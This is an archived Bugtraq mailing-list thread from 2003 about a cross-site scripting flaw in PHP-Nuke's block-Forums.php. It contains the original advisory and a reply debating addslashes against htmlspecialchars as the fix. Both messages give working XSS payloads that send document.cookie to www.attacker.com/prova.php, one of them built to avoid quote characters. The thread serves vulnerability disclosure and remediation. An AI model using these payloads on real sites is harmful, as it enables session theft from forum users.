Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:




bugtraq logo Bugtraq mailing list archives

Re: PHP-Nuke block-Forums.php subject vulnerabilities
From: "Frog Man" <leseulfrog () hotmail com>
Date: Tue, 01 Apr 2003 12:48:28 +0200

I haven't tested but I don't think addslashes() is a good solution here.
The same javascript can be executed without ' or ", like this :

">
&lt;name=a>&lt;input type=hidden name=u value=http://www.attacker.com/prova.php>&lt;/form>
&lt;script>window.open(document.a.u.value+document.cookie)&lt;/script>

What do you think about :
$title2 = htmlspecialchars($title2, ENT_QUOTES);



From: <lethalman () libero it>
To: bugtraq () securityfocus com
Subject: PHP-Nuke block-Forums.php subject vulnerabilities
Date: 31 Mar 2003 11:15:54 -0000



The block-Forums.php file have a vuln if an attacker
insert a malformatted subject to a topic of Splatt
Forum. A type of subject is:

">&lt;script&gt;alert('bug'");&lt;/script&gt;

The 'alt' tag is closed by "> and the other text is
normal html. This bug is very bad if a subject is:

">&lt;script&gt;window.open('www.attacker.com/prova.php?cookie='+document.cookie);&lt;/script&gt;

And prova.php register cokkies in a file.

The solution:

Add under "$title2 = stripslashes($title2);" line, this
line:
"$title2 = addslashes($title2);"

And now, backward any " there is a backslash!




--------------------------
frog-m () n
http://www.phpsecure.info


_________________________________________________________________



  By Date           By Thread  

Current thread:
  • Re: PHP-Nuke block-Forums.php subject vulnerabilities Frog Man (Apr 02)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]